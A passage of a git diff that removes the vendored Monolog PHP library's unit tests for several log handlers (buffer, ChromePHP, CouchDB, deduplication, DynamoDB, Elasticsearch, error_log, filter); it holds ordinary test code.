$handler->setFormatter($this->getIdentityFormatter()); - - $handler->handle($this->getRecord(Logger::DEBUG, 'test', array('foo' => 'bar'))); - - $expected = <<assertEquals($expected, $this->generateScript()); - } - - public function testConcurrentHandlers() - { - $handler1 = new BrowserConsoleHandler(); - $handler1->setFormatter($this->getIdentityFormatter()); - - $handler2 = new BrowserConsoleHandler(); - $handler2->setFormatter($this->getIdentityFormatter()); - - $handler1->handle($this->getRecord(Logger::DEBUG, 'test1')); - $handler2->handle($this->getRecord(Logger::DEBUG, 'test2')); - $handler1->handle($this->getRecord(Logger::DEBUG, 'test3')); - $handler2->handle($this->getRecord(Logger::DEBUG, 'test4')); - - $expected = <<assertEquals($expected, $this->generateScript()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/BufferHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/BufferHandlerTest.php deleted file mode 100644 index 52772bb6e2..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/BufferHandlerTest.php +++ /dev/null @@ -1,158 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class BufferHandlerTest extends TestCase -{ - private $shutdownCheckHandler; - - /** - * @covers Monolog\Handler\BufferHandler::__construct - * @covers Monolog\Handler\BufferHandler::handle - * @covers Monolog\Handler\BufferHandler::close - */ - public function testHandleBuffers() - { - $test = new TestHandler(); - $handler = new BufferHandler($test); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertFalse($test->hasDebugRecords()); - $this->assertFalse($test->hasInfoRecords()); - $handler->close(); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - } - - /** - * @covers Monolog\Handler\BufferHandler::close - * @covers Monolog\Handler\BufferHandler::flush - */ - public function testPropagatesRecordsAtEndOfRequest() - { - $test = new TestHandler(); - $handler = new BufferHandler($test); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->shutdownCheckHandler = $test; - register_shutdown_function(array($this, 'checkPropagation')); - } - - public function checkPropagation() - { - if (!$this->shutdownCheckHandler->hasWarningRecords() || !$this->shutdownCheckHandler->hasDebugRecords()) { - echo '!!! BufferHandlerTest::testPropagatesRecordsAtEndOfRequest failed to verify that the messages have been propagated' . PHP_EOL; - exit(1); - } - } - - /** - * @covers Monolog\Handler\BufferHandler::handle - */ - public function testHandleBufferLimit() - { - $test = new TestHandler(); - $handler = new BufferHandler($test, 2); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->close(); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertFalse($test->hasDebugRecords()); - } - - /** - * @covers Monolog\Handler\BufferHandler::handle - */ - public function testHandleBufferLimitWithFlushOnOverflow() - { - $test = new TestHandler(); - $handler = new BufferHandler($test, 3, Logger::DEBUG, true, true); - - // send two records - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->assertFalse($test->hasDebugRecords()); - $this->assertCount(0, $test->getRecords()); - - // overflow - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertTrue($test->hasDebugRecords()); - $this->assertCount(3, $test->getRecords()); - - // should buffer again - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertCount(3, $test->getRecords()); - - $handler->close(); - $this->assertCount(5, $test->getRecords()); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasInfoRecords()); - } - - /** - * @covers Monolog\Handler\BufferHandler::handle - */ - public function testHandleLevel() - { - $test = new TestHandler(); - $handler = new BufferHandler($test, 0, Logger::INFO); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->close(); - $this->assertTrue($test->hasWarningRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertFalse($test->hasDebugRecords()); - } - - /** - * @covers Monolog\Handler\BufferHandler::flush - */ - public function testFlush() - { - $test = new TestHandler(); - $handler = new BufferHandler($test, 0); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - $handler->flush(); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue($test->hasDebugRecords()); - $this->assertFalse($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\BufferHandler::handle - */ - public function testHandleUsesProcessors() - { - $test = new TestHandler(); - $handler = new BufferHandler($test); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->handle($this->getRecord(Logger::WARNING)); - $handler->flush(); - $this->assertTrue($test->hasWarningRecords()); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/ChromePHPHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/ChromePHPHandlerTest.php deleted file mode 100644 index c17536cd9b..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/ChromePHPHandlerTest.php +++ /dev/null @@ -1,156 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @covers Monolog\Handler\ChromePHPHandler - */ -class ChromePHPHandlerTest extends TestCase -{ - protected function setUp() - { - TestChromePHPHandler::resetStatic(); - $_SERVER['HTTP_USER_AGENT'] = 'Monolog Test; Chrome/1.0'; - } - - /** - * @dataProvider agentsProvider - */ - public function testHeaders($agent) - { - $_SERVER['HTTP_USER_AGENT'] = $agent; - - $handler = new TestChromePHPHandler(); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::WARNING)); - - $expected = array( - 'X-ChromeLogger-Data' => base64_encode(utf8_encode(json_encode(array( - 'version' => ChromePHPHandler::VERSION, - 'columns' => array('label', 'log', 'backtrace', 'type'), - 'rows' => array( - 'test', - 'test', - ), - 'request_uri' => '', - )))), - ); - - $this->assertEquals($expected, $handler->getHeaders()); - } - - public static function agentsProvider() - { - return array( - array('Monolog Test; Chrome/1.0'), - array('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'), - array('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/56.0.2924.76 Chrome/56.0.2924.76 Safari/537.36'), - array('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome Safari/537.36'), - ); - } - - public function testHeadersOverflow() - { - $handler = new TestChromePHPHandler(); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::WARNING, str_repeat('a', 2 * 1024))); - - // overflow chrome headers limit - $handler->handle($this->getRecord(Logger::WARNING, str_repeat('b', 2 * 1024))); - - $expected = array( - 'X-ChromeLogger-Data' => base64_encode(utf8_encode(json_encode(array( - 'version' => ChromePHPHandler::VERSION, - 'columns' => array('label', 'log', 'backtrace', 'type'), - 'rows' => array( - array( - 'test', - 'test', - 'unknown', - 'log', - ), - array( - 'test', - str_repeat('a', 2 * 1024), - 'unknown', - 'warn', - ), - array( - 'monolog', - 'Incomplete logs, chrome header size limit reached', - 'unknown', - 'warn', - ), - ), - 'request_uri' => '', - )))), - ); - - $this->assertEquals($expected, $handler->getHeaders()); - } - - public function testConcurrentHandlers() - { - $handler = new TestChromePHPHandler(); - $handler->setFormatter($this->getIdentityFormatter()); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::WARNING)); - - $handler2 = new TestChromePHPHandler(); - $handler2->setFormatter($this->getIdentityFormatter()); - $handler2->handle($this->getRecord(Logger::DEBUG)); - $handler2->handle($this->getRecord(Logger::WARNING)); - - $expected = array( - 'X-ChromeLogger-Data' => base64_encode(utf8_encode(json_encode(array( - 'version' => ChromePHPHandler::VERSION, - 'columns' => array('label', 'log', 'backtrace', 'type'), - 'rows' => array( - 'test', - 'test', - 'test', - 'test', - ), - 'request_uri' => '', - )))), - ); - - $this->assertEquals($expected, $handler2->getHeaders()); - } -} - -class TestChromePHPHandler extends ChromePHPHandler -{ - protected $headers = array(); - - public static function resetStatic() - { - self::$initialized = false; - self::$overflowed = false; - self::$sendHeaders = true; - self::$json['rows'] = array(); - } - - protected function sendHeader($header, $content) - { - $this->headers[$header] = $content; - } - - public function getHeaders() - { - return $this->headers; - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/CouchDBHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/CouchDBHandlerTest.php deleted file mode 100644 index 75abdd974e..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/CouchDBHandlerTest.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class CouchDBHandlerTest extends TestCase -{ - public function testHandle() - { - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $handler = new CouchDBHandler(); - - try { - $handler->handle($record); - } catch (\RuntimeException $e) { - $this->markTestSkipped('Could not connect to couchdb server on http://localhost:5984'); - } - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/DeduplicationHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/DeduplicationHandlerTest.php deleted file mode 100644 index 423bfa3536..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/DeduplicationHandlerTest.php +++ /dev/null @@ -1,165 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class DeduplicationHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\DeduplicationHandler::flush - */ - public function testFlushPassthruIfAllRecordsUnderTrigger() - { - $test = new TestHandler(); - @unlink(sys_get_temp_dir().'/monolog_dedup.log'); - $handler = new DeduplicationHandler($test, sys_get_temp_dir().'/monolog_dedup.log', 0); - - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - - $handler->flush(); - - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue($test->hasDebugRecords()); - $this->assertFalse($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\DeduplicationHandler::flush - * @covers Monolog\Handler\DeduplicationHandler::appendRecord - */ - public function testFlushPassthruIfEmptyLog() - { - $test = new TestHandler(); - @unlink(sys_get_temp_dir().'/monolog_dedup.log'); - $handler = new DeduplicationHandler($test, sys_get_temp_dir().'/monolog_dedup.log', 0); - - $handler->handle($this->getRecord(Logger::ERROR, 'Foo:bar')); - $handler->handle($this->getRecord(Logger::CRITICAL, "Foo\nbar")); - - $handler->flush(); - - $this->assertTrue($test->hasErrorRecords()); - $this->assertTrue($test->hasCriticalRecords()); - $this->assertFalse($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\DeduplicationHandler::flush - * @covers Monolog\Handler\DeduplicationHandler::appendRecord - * @covers Monolog\Handler\DeduplicationHandler::isDuplicate - * @depends testFlushPassthruIfEmptyLog - */ - public function testFlushSkipsIfLogExists() - { - $test = new TestHandler(); - $handler = new DeduplicationHandler($test, sys_get_temp_dir().'/monolog_dedup.log', 0); - - $handler->handle($this->getRecord(Logger::ERROR, 'Foo:bar')); - $handler->handle($this->getRecord(Logger::CRITICAL, "Foo\nbar")); - - $handler->flush(); - - $this->assertFalse($test->hasErrorRecords()); - $this->assertFalse($test->hasCriticalRecords()); - $this->assertFalse($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\DeduplicationHandler::flush - * @covers Monolog\Handler\DeduplicationHandler::appendRecord - * @covers Monolog\Handler\DeduplicationHandler::isDuplicate - * @depends testFlushPassthruIfEmptyLog - */ - public function testFlushPassthruIfLogTooOld() - { - $test = new TestHandler(); - $handler = new DeduplicationHandler($test, sys_get_temp_dir().'/monolog_dedup.log', 0); - - $record = $this->getRecord(Logger::ERROR); - $record['datetime']->modify('+62seconds'); - $handler->handle($record); - $record = $this->getRecord(Logger::CRITICAL); - $record['datetime']->modify('+62seconds'); - $handler->handle($record); - - $handler->flush(); - - $this->assertTrue($test->hasErrorRecords()); - $this->assertTrue($test->hasCriticalRecords()); - $this->assertFalse($test->hasWarningRecords()); - } - - /** - * @covers Monolog\Handler\DeduplicationHandler::flush - * @covers Monolog\Handler\DeduplicationHandler::appendRecord - * @covers Monolog\Handler\DeduplicationHandler::isDuplicate - * @covers Monolog\Handler\DeduplicationHandler::collectLogs - */ - public function testGcOldLogs() - { - $test = new TestHandler(); - @unlink(sys_get_temp_dir().'/monolog_dedup.log'); - $handler = new DeduplicationHandler($test, sys_get_temp_dir().'/monolog_dedup.log', 0); - - // handle two records from yesterday, and one recent - $record = $this->getRecord(Logger::ERROR); - $record['datetime']->modify('-1day -10seconds'); - $handler->handle($record); - $record2 = $this->getRecord(Logger::CRITICAL); - $record2['datetime']->modify('-1day -10seconds'); - $handler->handle($record2); - $record3 = $this->getRecord(Logger::CRITICAL); - $record3['datetime']->modify('-30seconds'); - $handler->handle($record3); - - // log is written as none of them are duplicate - $handler->flush(); - $this->assertSame( - $record['datetime']->getTimestamp() . ":ERROR:test\n" . - $record2['datetime']->getTimestamp() . ":CRITICAL:test\n" . - $record3['datetime']->getTimestamp() . ":CRITICAL:test\n", - file_get_contents(sys_get_temp_dir() . '/monolog_dedup.log') - ); - $this->assertTrue($test->hasErrorRecords()); - $this->assertTrue($test->hasCriticalRecords()); - $this->assertFalse($test->hasWarningRecords()); - - // clear test handler - $test->clear(); - $this->assertFalse($test->hasErrorRecords()); - $this->assertFalse($test->hasCriticalRecords()); - - // log new records, duplicate log gets GC'd at the end of this flush call - $handler->handle($record = $this->getRecord(Logger::ERROR)); - $handler->handle($record2 = $this->getRecord(Logger::CRITICAL)); - $handler->flush(); - - // log should now contain the new errors and the previous one that was recent enough - $this->assertSame( - $record3['datetime']->getTimestamp() . ":CRITICAL:test\n" . - $record['datetime']->getTimestamp() . ":ERROR:test\n" . - $record2['datetime']->getTimestamp() . ":CRITICAL:test\n", - file_get_contents(sys_get_temp_dir() . '/monolog_dedup.log') - ); - $this->assertTrue($test->hasErrorRecords()); - $this->assertTrue($test->hasCriticalRecords()); - $this->assertFalse($test->hasWarningRecords()); - } - - public static function tearDownAfterClass() - { - @unlink(sys_get_temp_dir().'/monolog_dedup.log'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/DoctrineCouchDBHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/DoctrineCouchDBHandlerTest.php deleted file mode 100644 index a751023482..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/DoctrineCouchDBHandlerTest.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class DoctrineCouchDBHandlerTest extends TestCase -{ - protected function setup() - { - if (!class_exists('Doctrine\CouchDB\CouchDBClient')) { - $this->markTestSkipped('The "doctrine/couchdb" package is not installed'); - } - } - - public function testHandle() - { - $client = $this->getMockBuilder('Doctrine\\CouchDB\\CouchDBClient') - ->setMethods(array('postDocument')) - ->disableOriginalConstructor() - ->getMock(); - - $record = $this->getRecord(Logger::WARNING, 'test', array('data' => new \stdClass, 'foo' => 34)); - - $expected = array( - 'message' => 'test', - 'context' => array('data' => '[object] (stdClass: {})', 'foo' => 34), - 'level' => Logger::WARNING, - 'level_name' => 'WARNING', - 'channel' => 'test', - 'datetime' => $record['datetime']->format('Y-m-d H:i:s'), - 'extra' => array(), - ); - - $client->expects($this->once()) - ->method('postDocument') - ->with($expected); - - $handler = new DoctrineCouchDBHandler($client); - $handler->handle($record); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/DynamoDbHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/DynamoDbHandlerTest.php deleted file mode 100644 index d83a83957a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/DynamoDbHandlerTest.php +++ /dev/null @@ -1,82 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; - -class DynamoDbHandlerTest extends TestCase -{ - private $client; - - public function setUp() - { - if (!class_exists('Aws\DynamoDb\DynamoDbClient')) { - $this->markTestSkipped('aws/aws-sdk-php not installed'); - } - - $this->client = $this->getMockBuilder('Aws\DynamoDb\DynamoDbClient') - ->setMethods(array('formatAttributes', '__call')) - ->disableOriginalConstructor()->getMock(); - } - - public function testConstruct() - { - $this->assertInstanceOf('Monolog\Handler\DynamoDbHandler', new DynamoDbHandler($this->client, 'foo')); - } - - public function testInterface() - { - $this->assertInstanceOf('Monolog\Handler\HandlerInterface', new DynamoDbHandler($this->client, 'foo')); - } - - public function testGetFormatter() - { - $handler = new DynamoDbHandler($this->client, 'foo'); - $this->assertInstanceOf('Monolog\Formatter\ScalarFormatter', $handler->getFormatter()); - } - - public function testHandle() - { - $record = $this->getRecord(); - $formatter = $this->getMock('Monolog\Formatter\FormatterInterface'); - $formatted = array('foo' => 1, 'bar' => 2); - $handler = new DynamoDbHandler($this->client, 'foo'); - $handler->setFormatter($formatter); - - $isV3 = defined('Aws\Sdk::VERSION') && version_compare(\Aws\Sdk::VERSION, '3.0', '>='); - if ($isV3) { - $expFormatted = array('foo' => array('N' => 1), 'bar' => array('N' => 2)); - } else { - $expFormatted = $formatted; - } - - $formatter - ->expects($this->once()) - ->method('format') - ->with($record) - ->will($this->returnValue($formatted)); - $this->client - ->expects($isV3 ? $this->never() : $this->once()) - ->method('formatAttributes') - ->with($this->isType('array')) - ->will($this->returnValue($formatted)); - $this->client - ->expects($this->once()) - ->method('__call') - ->with('putItem', array(array( - 'TableName' => 'foo', - 'Item' => $expFormatted, - ))); - - $handler->handle($record); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/ElasticSearchHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/ElasticSearchHandlerTest.php deleted file mode 100644 index 08f3c3d981..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/ElasticSearchHandlerTest.php +++ /dev/null @@ -1,239 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\ElasticaFormatter; -use Monolog\Formatter\NormalizerFormatter; -use Monolog\TestCase; -use Monolog\Logger; -use Elastica\Client; -use Elastica\Request; -use Elastica\Response; - -class ElasticSearchHandlerTest extends TestCase -{ - /** - * @var Client mock - */ - protected $client; - - /** - * @var array Default handler options - */ - protected $options = array( - 'index' => 'my_index', - 'type' => 'doc_type', - ); - - public function setUp() - { - // Elastica lib required - if (!class_exists("Elastica\Client")) { - $this->markTestSkipped("ruflin/elastica not installed"); - } - - // base mock Elastica Client object - $this->client = $this->getMockBuilder('Elastica\Client') - ->setMethods(array('addDocuments')) - ->disableOriginalConstructor() - ->getMock(); - } - - /** - * @covers Monolog\Handler\ElasticSearchHandler::write - * @covers Monolog\Handler\ElasticSearchHandler::handleBatch - * @covers Monolog\Handler\ElasticSearchHandler::bulkSend - * @covers Monolog\Handler\ElasticSearchHandler::getDefaultFormatter - */ - public function testHandle() - { - // log message - $msg = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('foo' => 7, 'bar', 'class' => new \stdClass), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - // format expected result - $formatter = new ElasticaFormatter($this->options['index'], $this->options['type']); - $expected = array($formatter->format($msg)); - - // setup ES client mock - $this->client->expects($this->any()) - ->method('addDocuments') - ->with($expected); - - // perform tests - $handler = new ElasticSearchHandler($this->client, $this->options); - $handler->handle($msg); - $handler->handleBatch(array($msg)); - } - - /** - * @covers Monolog\Handler\ElasticSearchHandler::setFormatter - */ - public function testSetFormatter() - { - $handler = new ElasticSearchHandler($this->client); - $formatter = new ElasticaFormatter('index_new', 'type_new'); - $handler->setFormatter($formatter); - $this->assertInstanceOf('Monolog\Formatter\ElasticaFormatter', $handler->getFormatter()); - $this->assertEquals('index_new', $handler->getFormatter()->getIndex()); - $this->assertEquals('type_new', $handler->getFormatter()->getType()); - } - - /** - * @covers Monolog\Handler\ElasticSearchHandler::setFormatter - * @expectedException InvalidArgumentException - * @expectedExceptionMessage ElasticSearchHandler is only compatible with ElasticaFormatter - */ - public function testSetFormatterInvalid() - { - $handler = new ElasticSearchHandler($this->client); - $formatter = new NormalizerFormatter(); - $handler->setFormatter($formatter); - } - - /** - * @covers Monolog\Handler\ElasticSearchHandler::__construct - * @covers Monolog\Handler\ElasticSearchHandler::getOptions - */ - public function testOptions() - { - $expected = array( - 'index' => $this->options['index'], - 'type' => $this->options['type'], - 'ignore_error' => false, - ); - $handler = new ElasticSearchHandler($this->client, $this->options); - $this->assertEquals($expected, $handler->getOptions()); - } - - /** - * @covers Monolog\Handler\ElasticSearchHandler::bulkSend - * @dataProvider providerTestConnectionErrors - */ - public function testConnectionErrors($ignore, $expectedError) - { - $clientOpts = array('host' => '127.0.0.1', 'port' => 1); - $client = new Client($clientOpts); - $handlerOpts = array('ignore_error' => $ignore); - $handler = new ElasticSearchHandler($client, $handlerOpts); - - if ($expectedError) { - $this->setExpectedException($expectedError[0], $expectedError[1]); - $handler->handle($this->getRecord()); - } else { - $this->assertFalse($handler->handle($this->getRecord())); - } - } - - /** - * @return array - */ - public function providerTestConnectionErrors() - { - return array( - array(false, array('RuntimeException', 'Error sending messages to Elasticsearch')), - array(true, false), - ); - } - - /** - * Integration test using localhost Elastic Search server - * - * @covers Monolog\Handler\ElasticSearchHandler::__construct - * @covers Monolog\Handler\ElasticSearchHandler::handleBatch - * @covers Monolog\Handler\ElasticSearchHandler::bulkSend - * @covers Monolog\Handler\ElasticSearchHandler::getDefaultFormatter - */ - public function testHandleIntegration() - { - $msg = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('foo' => 7, 'bar', 'class' => new \stdClass), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $expected = $msg; - $expected['datetime'] = $msg['datetime']->format(\DateTime::ISO8601); - $expected['context'] = array( - 'class' => '[object] (stdClass: {})', - 'foo' => 7, - 0 => 'bar', - ); - - $client = new Client(); - $handler = new ElasticSearchHandler($client, $this->options); - try { - $handler->handleBatch(array($msg)); - } catch (\RuntimeException $e) { - $this->markTestSkipped("Cannot connect to Elastic Search server on localhost"); - } - - // check document id from ES server response - $documentId = $this->getCreatedDocId($client->getLastResponse()); - $this->assertNotEmpty($documentId, 'No elastic document id received'); - - // retrieve document source from ES and validate - $document = $this->getDocSourceFromElastic( - $client, - $this->options['index'], - $this->options['type'], - $documentId - ); - $this->assertEquals($expected, $document); - - // remove test index from ES - $client->request("/{$this->options['index']}", Request::DELETE); - } - - /** - * Return last created document id from ES response - * @param Response $response Elastica Response object - * @return string|null - */ - protected function getCreatedDocId(Response $response) - { - $data = $response->getData(); - if (!empty($data['items'][0]['create']['_id'])) { - return $data['items'][0]['create']['_id']; - } - } - - /** - * Retrieve document by id from Elasticsearch - * @param Client $client Elastica client - * @param string $index - * @param string $type - * @param string $documentId - * @return array - */ - protected function getDocSourceFromElastic(Client $client, $index, $type, $documentId) - { - $resp = $client->request("/{$index}/{$type}/{$documentId}", Request::GET); - $data = $resp->getData(); - if (!empty($data['_source'])) { - return $data['_source']; - } - - return array(); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/ErrorLogHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/ErrorLogHandlerTest.php deleted file mode 100644 index e948d6c5ce..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/ErrorLogHandlerTest.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; - -function error_log() -{ - $GLOBALS['error_log'][] = func_get_args(); -} - -class ErrorLogHandlerTest extends TestCase -{ - protected function setUp() - { - $GLOBALS['error_log'] = array(); - } - - /** - * @covers Monolog\Handler\ErrorLogHandler::__construct - * @expectedException InvalidArgumentException - * @expectedExceptionMessage The given message type "42" is not supported - */ - public function testShouldNotAcceptAnInvalidTypeOnContructor() - { - new ErrorLogHandler(42); - } - - /** - * @covers Monolog\Handler\ErrorLogHandler::write - */ - public function testShouldLogMessagesUsingErrorLogFuncion() - { - $type = ErrorLogHandler::OPERATING_SYSTEM; - $handler = new ErrorLogHandler($type); - $handler->setFormatter(new LineFormatter('%channel%.%level_name%: %message% %context% %extra%', null, true)); - $handler->handle($this->getRecord(Logger::ERROR, "Foo\nBar\r\n\r\nBaz")); - - $this->assertSame("test.ERROR: Foo\nBar\r\n\r\nBaz [] []", $GLOBALS['error_log'][0][0]); - $this->assertSame($GLOBALS['error_log'][0][1], $type); - - $handler = new ErrorLogHandler($type, Logger::DEBUG, true, true); - $handler->setFormatter(new LineFormatter(null, null, true)); - $handler->handle($this->getRecord(Logger::ERROR, "Foo\nBar\r\n\r\nBaz")); - - $this->assertStringMatchesFormat('[%s] test.ERROR: Foo', $GLOBALS['error_log'][1][0]); - $this->assertSame($GLOBALS['error_log'][1][1], $type); - - $this->assertStringMatchesFormat('Bar', $GLOBALS['error_log'][2][0]); - $this->assertSame($GLOBALS['error_log'][2][1], $type); - - $this->assertStringMatchesFormat('Baz [] []', $GLOBALS['error_log'][3][0]); - $this->assertSame($GLOBALS['error_log'][3][1], $type); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/FilterHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/FilterHandlerTest.php deleted file mode 100644 index 6be9f2943c..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/FilterHandlerTest.php +++ /dev/null @@ -1,178 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\TestCase; - -class FilterHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\FilterHandler::isHandling - */ - public function testIsHandling() - { - $test = new TestHandler(); - $handler = new FilterHandler($test, Logger::INFO, Logger::NOTICE); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::DEBUG))); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::INFO))); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::NOTICE))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::WARNING))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::ERROR))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::CRITICAL))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::ALERT))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::EMERGENCY))); - } - - /** - * @covers Monolog\Handler\FilterHandler::handle - * @covers Monolog\Handler\FilterHandler::setAcceptedLevels - * @covers Monolog\Handler\FilterHandler::isHandling - */ - public function testHandleProcessOnlyNeededLevels() - { - $test = new TestHandler(); - $handler = new FilterHandler($test, Logger::INFO, Logger::NOTICE); - - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->assertFalse($test->hasDebugRecords()); - - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertTrue($test->hasInfoRecords()); - $handler->handle($this->getRecord(Logger::NOTICE)); - $this->assertTrue($test->hasNoticeRecords()); - - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertFalse($test->hasWarningRecords()); - $handler->handle($this->getRecord(Logger::ERROR)); - $this->assertFalse($test->hasErrorRecords()); - $handler->handle($this->getRecord(Logger::CRITICAL)); - $this->assertFalse($test->hasCriticalRecords()); - $handler->handle($this->getRecord(Logger::ALERT)); - $this->assertFalse($test->hasAlertRecords()); - $handler->handle($this->getRecord(Logger::EMERGENCY)); - $this->assertFalse($test->hasEmergencyRecords()); - - $test = new TestHandler(); - $handler = new FilterHandler($test, array(Logger::INFO, Logger::ERROR)); - - $handler->handle($this->getRecord(Logger::DEBUG)); - $this->assertFalse($test->hasDebugRecords()); - $handler->handle($this->getRecord(Logger::INFO)); - $this->assertTrue($test->hasInfoRecords()); - $handler->handle($this->getRecord(Logger::NOTICE)); - $this->assertFalse($test->hasNoticeRecords()); - $handler->handle($this->getRecord(Logger::ERROR)); - $this->assertTrue($test->hasErrorRecords()); - $handler->handle($this->getRecord(Logger::CRITICAL)); - $this->assertFalse($test->hasCriticalRecords()); - } - - /** - * @covers Monolog\Handler\FilterHandler::setAcceptedLevels - * @covers Monolog\Handler\FilterHandler::getAcceptedLevels - */ - public function testAcceptedLevelApi() - { - $test = new TestHandler(); - $handler = new FilterHandler($test); - - $levels = array(Logger::INFO, Logger::ERROR); - $handler->setAcceptedLevels($levels); - $this->assertSame($levels, $handler->getAcceptedLevels()); - - $handler->setAcceptedLevels(array('info', 'error')); - $this->assertSame($levels, 